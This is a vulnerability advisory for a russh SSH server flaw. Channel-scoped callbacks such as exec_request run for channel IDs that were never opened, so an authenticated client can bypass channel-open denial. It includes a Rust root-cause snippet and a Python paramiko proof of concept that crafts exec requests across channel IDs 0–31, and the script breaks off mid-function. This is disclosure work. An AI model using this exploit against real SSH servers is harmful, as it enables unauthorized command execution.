CVE-2026-68930

There is a server-side channel state issue in russh.

After a client is authenticated, russh can dispatch channel-scoped handler callbacks for recipient channel IDs that were never opened or confirmed. In the strongest reproduced case, the client does not send SSH_MSG_CHANNEL_OPEN at all. It authenticates normally, then sends SSH_MSG_CHANNEL_REQUEST packets with request type exec for a range of recipient channel IDs. russh still calls the server application's exec_request handler.

This is not an authentication bypass. A valid login is required. The issue is that the SSH channel lifecycle is not enforced before channel-scoped callbacks are delivered to the application.

Impact

An authenticated client can bypass the server application's channel-open policy.

A server may deny session channels by returning false from Handler::channel_open_session. A server may also assume that callbacks such as exec_request, shell_request, subsystem_request, data, channel_eof, or channel_close are only delivered for channels that were opened and confirmed by the SSH transport layer.

That assumption does not hold in the vulnerable path. A malicious authenticated peer can send channel-scoped messages for arbitrary recipient channel IDs and cause handler callbacks to run even though no channel exists.

The exact impact depends on the downstream application. For many SSH server use cases, exec_request, shell_request, or subsystem_request start commands, jobs, shells, SFTP-like subsystems, internal workflows, or other state-changing operations. In the PoC, the protected exec_request action runs even though no channel was opened.

Why this is not intended behavior

SSH channel requests are not global post-authentication requests. They are operations on an existing channel.

RFC 4254 describes channel-specific messages as carrying a recipient channel number. The exec request is a SSH_MSG_CHANNEL_REQUEST for a session channel. That means the recipient channel should refer to a channel that exists in the local open-channel state.

The relevant boundary is therefore not password authentication. The boundary is the channel-open decision. If no channel has been opened, or if the application denied the open request, russh should not deliver session-specific callbacks for that recipient ID.

This is also not just a handler bug. The handler does not own the transport channel table. russh does. The application gets a channel_open_* callback and returns whether the channel is allowed. If that decision is denied, or if the client never requested a channel at all, channel-scoped callbacks should not be reachable.

Documentation and API boundary

The public API documentation supports this boundary.

channel_open_session is the application hook for creating a new session channel, and its boolean return value is the application's decision on whether that channel open should be granted. Separately, exec_request is the application hook for deciding what to do with a command request received on a channel.

Those are different responsibilities. The application can decide whether a command is allowed. The library must first decide whether the recipient channel exists and was actually opened.

Delivering exec_request for a recipient ChannelId that is absent from the established channel table bypasses the channel-open decision before the application can safely rely on it.

Root cause

In server_read_authenticated in russh/src/server/encrypted.rs, channel-scoped messages are decoded and then dispatched to handler callbacks without a mandatory check that the recipient channel is established in the encrypted session's channel table.

The problematic pattern is visible in the CHANNEL_REQUEST handling. The code reads the recipient channel ID and request fields. It may look up the channel to send an internal ChannelMsg into the stream API, but the handler callback is outside that guard.

For example, the exec branch has this shape:

"exec" => {
    let req = map_err!(Bytes::decode(r))?;
    map_err!(ensure_end(r))?;

    if let Some(chan) = self.channels.get(&channel_num) {
        let _ = chan
            .send(ChannelMsg::Exec {
                want_reply: true,
                command: req.to_vec(),
            })
            .await;
    }

    handler.exec_request(channel_num, &req, self).await
}

If channel_num is not open, the internal send is skipped, but handler.exec_request(...) is still called.

The same issue applies to other channel-scoped callbacks such as shell_request, subsystem_request, env_request, pty_request, data, extended_data, channel_eof, and channel_close.

There is a second related problem in server_handle_channel_open. The application-side channel reference can be inserted into self.channels even when the handler returns Ok(false). The protocol table enc.channels is only populated when the open is actually allowed. This means the two maps can diverge after a denied open.

The authoritative source for whether a channel is established should be enc.channels, not self.channels.

Evidence from the PoC

The PoC uses a real russh server over localhost TCP. It uses real authentication with username alice and password correct. Paramiko is used only as an authenticated SSH peer that can send crafted packets over the real encrypted SSH transport.

POC Code :

import argparse
import sys
import time

import paramiko
from paramiko.common import MSG_CHANNEL_REQUEST, cMSG_CHANNEL_REQUEST
from paramiko.message import Message
from paramiko.ssh_exception import ChannelException

CHANNEL_SCAN_END = 32


def connect(port: int) -> paramiko.Transport:
    transport = paramiko.Transport(("127.0.0.1", port))
    transport.connect(username="alice", password="correct")
    return transport


def normal_allowed(port: int) -> None:
    transport = connect(port)
    print("normal client: CHANNEL_OPEN session")
    channel = transport.open_session(timeout=5)
    print("normal client: session open confirmed")
    print('normal client: exec "protected"')
    channel.exec_command("protected")
    time.sleep(0.25)
    channel.close()
    transport.close()


def normal_denied(port: int) -> None:
    transport = connect(port)
    print("normal client: CHANNEL_OPEN session")
    try:
        transport.open_session(timeout=5)
    except ChannelException:
        print("normal client: session open denied")
        pass
    else:
        raise RuntimeError("normal denied control unexpectedly opened a session channel")
    time.sleep(0.25)
    transport.close()


def send_exec_request(transport: paramiko.Transport, recipient_channel: int) -> None:
    print(
        "crafted packet: "
        f"SSH_MSG_CHANNEL_REQUEST({MSG_CHANNEL_REQUEST}) "
        f"recipient_channel={recipient_channel} "
        'request_type="exec" '
        'command="protected"'
    )
    msg = Message()
    msg.add_byte(cMSG_CHANNEL_REQUEST)
    msg.add_int(recipient_channel)
    msg.add_string("exec")
    msg.add_boolean(True)
    msg.add_string(b"protected")
    transport._send_user_message(msg)


def exploit_denied(port: int) -> None:
    transport = connect(port)
    print("malicious peer: CHANNEL_OPEN session")
    try:
        transport.open_session(timeout=5)
    except ChannelException:
        print("malicious peer: session open denied")
    else:
        raise RuntimeError("exploit setup unexpectedly opened a session channel")

    print(f"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}")
    for channel_id in range(CHANNEL_SCAN_END):
        send_exec_request(transport, channel_id)
        time.sleep(0.01)
    time.sleep(0.5)
    transport.close()


def exploit_without_open(port: int) -> None:
    transport = connect(port)
    print("malicious peer: no CHANNEL_OPEN sent")
    print(f"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}")
    for c